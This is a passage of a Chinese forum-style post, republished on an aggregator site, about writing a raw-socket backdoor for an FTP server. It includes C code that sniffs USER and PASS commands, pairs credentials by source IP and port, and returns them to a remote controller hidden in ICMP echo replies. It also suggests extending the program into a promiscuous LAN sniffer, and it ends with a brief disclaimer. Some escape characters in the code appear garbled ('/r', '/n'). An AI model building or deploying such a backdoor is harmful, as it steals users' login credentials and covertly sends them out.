? ?? ???如果我們的程序啟動時,用戶名已經傳送過了,而我們僅僅捕捉到了PASS的值,這個時候如果一直去等USER出現的話,就會出現差錯,你可以想象一下,如果我們取到了用戶A的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的出現,如果在某個時候USER出現了,很顯然,這是新連接的登陸用戶名,跟上一次存儲的密碼不屬于一次會話的數據,即使我們拿到了這個用戶名和密碼,也只是上一個用戶登陸的密碼和這一個用戶登陸的姓名,這樣拿到了也沒用,除非是特殊情況的出現,即同一個用戶連著登陸多次,那么,瞎貓碰著死耗子,我們得到了正確的數據,但是我們希望盡可能去獲取一次會話中的用戶名和密碼對,所以,嗅探的原則是,如果沒有用戶名,就不存儲密碼.

(2)
? ?? ? 考慮再細致點,想想多用戶同時登陸的情況,假設 thatday已經連接上FTP服務器,并且鍵入了用戶名 thatday發送給FTP服務器,這個時候我們的程序也應該在FTP服務器上獲取到了用戶名thatday, 忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個時候 肥肥 也去登陸,他鍵入用戶名FatFighterM,發送出去,于是我們的程序發現又有一個叫做FatFighterM的用戶名被傳過來了,但是此時程序的任務是等待一個密碼,如果直接丟棄FatFighterM這個用戶名不管,并且繼續等待對應thatday的密碼的話,可能會出現如下差錯:thatday還在聊天,肥肥當仁不讓的輸入密碼,并且登陸成功,開始工作,可我們的傻瓜程序卻會以為這是thatday的密碼,將這視為一對,存儲起來,但是這樣的數據是沒有用的,根本就不匹配!
? ?? ?也許你會說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲后來的用戶名,這不就行了?這樣也會有問題,如果肥肥在輸入用戶名后也接到了老婆的電話,然后他就離開座位聊起天來,當然還沒有輸入密碼(他可能認為保持半登陸狀態比輸入密碼登陸成功后離開座位更安全),這個時候thatday聊天結束,他輸入自己的密碼,發給服務器,但是這個時候我們的程序存儲的用戶名卻是肥肥的名字, 然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進行更多的控制.

??當然,FTP服務器是不會出這種錯誤的,因為它會為每個登陸過程開一個單獨的會話,但是我們的單線程程序卻會遇到這些問題,試想,如果我們給每個密碼對加上源IP地址進行匹配,這個問題是不是就可以解決了,對,這樣就可以解決問題了.我們可以這樣做,每來一個用戶名,就記下這個數據包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經存儲的用戶名和密碼一致的話,就認為是一對,而且還繼續以前的規定,沒有用戶名之前不存儲密碼.因為不同的客戶機,源IP地址肯定不同,所以可以根據IP地址來區分不通主機的連接,而對于同一臺機子上的不通用戶,他們的源IP當然是相同的了,我們只有根據它的源端口進行區分了.
? ? 如果以上說得都做到了我們就可以獲取到密碼了.
? ? 下來,該討論取密碼是應該注意的問題了.
? ?首先說說嗅探器端,既然我們創建了一個原始套接字并且從找個套接字讀到了ping請求,好像順理成章的我們就應改把密碼對通過這個發回遠程主機,但是我在嘗試了N次之后
始終沒有成功,一個可能的原則是"鏈路層的原始套接字不能直接自己填充鏈路層頭信息并將數據發送出去",不知道這個說法正確不?期待專家的回復.因為我一開始的想法就是直接將這個數據包的源MAC和目的MAC互換,IP互換,端口互換,并希望能直接利用原來的套接字發送回去,但是最終還是沒能成功,但是我認為,這是最好的做法了.最后只好委屈求全,再次創建一個原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的ping echo reply的代碼,用新的套接字將密碼發回,這個實在是一個巨大的暇疵!

? ?? ? 嗅探端已經完畢,接著看遠程的命令端,我一開始就使用<<Hacking the Linux Kernel Network Stack>>中的那個命令端程序,結果偽裝包是發送成功了,可是讀取到的數據老是錯誤,用戶名和密碼總是空的,折騰了2天,這天,細心的同事忽然告訴我說你收到的消息好像跟發送的一摸一樣,這時才發現了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己發送出去的原封不動,關于這個原因我還沒有思考清楚,只覺得可能是由于同一臺機子測試引起的,并沒有做太多的分析,希望專家給出更科學的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結果發現這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯的,一想,原來是收到了系統返回的ping應答消息,最終的原則就是,當收到的ICMP消息是ICMP_ECHOREPLY時并且code字段為嗅探器所填的特殊值時,才進行處理,終于能夠正確的運行起來.

2.2 實現(代碼片斷)
? ? 由于論壇字符上限的原因,在次只貼出了部分代碼,并且刪除了注視,完整的代碼作為附件上傳上來吧.

[Copy to clipboard]?[?-?] CODE: int main(int argc, char *argv[])
{
? ? ? ? int sock, n_read;
? ? ? ? struct ether_header * etherh;
? ? ? ? struct iphdr * iph;
? ? ? ? char buffer[BUFFER_MAX];
? ? ? ? /*create a raw socekt to sniffer all messages*/
? ? ? ? if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
? ? ? ? {
? ? ? ? ? ? ? ? exit(errno);
? ? ? ? }
? ? ? ? while (1)?
? ? ? ? {
? ? ? ? ? ? ? ? n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
? ? ? ? ? ? ? ? /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
? ? ? ? ? ? ? ? if (n_read < 42)?
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? continue;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? /*??get ethernet header */
? ? ? ? ? ? ? ? etherh =(struct ether_header *) buffer;
? ? ? ? ? ? ? ? /*??get ip header */??
? ? ? ? ? ? ? ? iph = (struct iphdr *) (etherh + 1);
? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? switch(iph->protocol)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? case IPPROTO_TCP :?
? ? ? ? ? ? ? ? ? ? ? ? CheckTCP(iph);
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? case IPPROTO_ICMP:?
? ? ? ? ? ? ? ? ? ? ? ? if(MagicICMP(iph))
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? SendData(etherh, n_read);
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? case IPPROTO_UDP :
? ? ? ? ? ? ? ? case IPPROTO_IGMP:
? ? ? ? ? ? ? ? default: break;
? ? ? ? ? ? ? ? } ? ? ? ??
? ? ? ? }
}
int CheckTCP(const struct iphdr * ipheader)
{
? ? ? ? if(!ipheader)
? ? ? ? {
? ? ? ? ? ? ? ? return 0;
? ? ? ? }
? ? ? ? int i = 0;
? ? ? ? /* get tcp head??*/
? ? ? ? struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
? ? ? ? /* get data region of the tcp packet */
? ? ? ? char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
? ? ? ? if(username && target_port && target_ip)
? ? ? ? {
? ? ? ? ? ? ? ? if(ipheader->daddr != target_ip || tcpheader->source != target_port)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? /*a new loading, we need to reset our sniffer */
? ? ? ? ? ? ? ? ? ? ? ? if(strncmp(data, "USER ", 5) == 0 )
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? }
? ? ? ? }
? ? ? ? if (strncmp(data, "USER ", 5) == 0)?
? ? ? ? {? ?? ?? ??
? ? ? ? ? ? ? ? data += 5;
? ? ? ? ? ? ? ? i = 0;
? ? ? ? ? ? ? ? if (username)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? char * p = data + i;
? ? ? ? ? ? ? ? /*the data always end with LR */
? ? ? ? ? ? ? ? while (*p != '/r' && *p != '/n' && *p != '/0' && i < 15)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? i++;
? ? ? ? ? ? ? ? ? ? ? ? p++;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? if((username = (char*)malloc(i + 2)) == NULL)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? memset(username, 0x00, i + 2);
? ? ? ? ? ? ? ? memcpy(username, data, i);
? ? ? ? ? ? ? ? *(username + i) = '/0';
? ? ? ? }
? ? ? ? else?
? ? ? ? ? ? ? ? if(strncmp(data, "PASS ", 5) == 0)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? ? ? ? ? data += 5;
? ? ? ? ? ? ? ? ? ? ? ? i = 0;
? ? ? ? ? ? ? ? ? ? ? ? if(username == NULL)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(password)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? char * p = data;
? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? ? ? ? ? while (*p != '/r' && *p != '/n' && *p != '/0' && i < 15)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i++;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? p++;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if((password = (char*)malloc(i + 2)) == NULL)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? memset(password, 0x00, i + 2);
? ? ? ? ? ? ? ? ? ? ? ? memcpy(password, data, i);
? ? ? ? ? ? ? ? ? ? ? ? *(password + i) = '/0';
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? else? ?
? ? ? ? ? ? ? ? ? ? ? ? if(strncmp(data, "QUIT", 4) == 0)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();?
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(!target_ip && !target_port && username)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? target_ip = ipheader->saddr;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? target_port = tcpheader->source;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(username && password)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? have_pair++;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(have_pair)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? struct node node;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? node.ip = target_ip;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? snprintf(node.Name, 15, "%s", username);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? snprintf(node.PassWord, 15, "%s", password);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? AddNode(&node);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? return 1;
}


2.3 改進的思路
? ???由于時間原因,雖然后來想了一些改進的方法,但卻沒有去實現,很是遺憾,
不過還是在此提出,希望感興趣的朋友自己去實踐,并告訴我結果

(1):
? ?? ?由于原來的單線程后門程序在多個用戶同時登陸FTP時會出錯,我們即使加上煩雜的處理在運氣很好的情況下最終也只能得到一對密碼對,可以這樣改進,每檢測到一個用戶名,就將這個數據包的源IP,源端口,以及用戶名存儲到一個列表中,用戶名相同的進行覆蓋存儲,然后再次檢測到密碼時,根據密碼數據包的源IP以及源端口去表中查找匹配,這樣就能獲取并發訪問FTP時的密碼了
(2):
? ???如果你在局域網做試驗,并且你的老板允許你把網卡設置為混雜模式,那么這個程序就是一個真正的嗅探器了,這個時候你要存儲的信息就多了,需要加上目的IP和目的端口.最后切記,最好不要將這個程序用于惡意目的.


總結

以上是生活随笔為你收集整理的Raw Socket(原始套接字)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。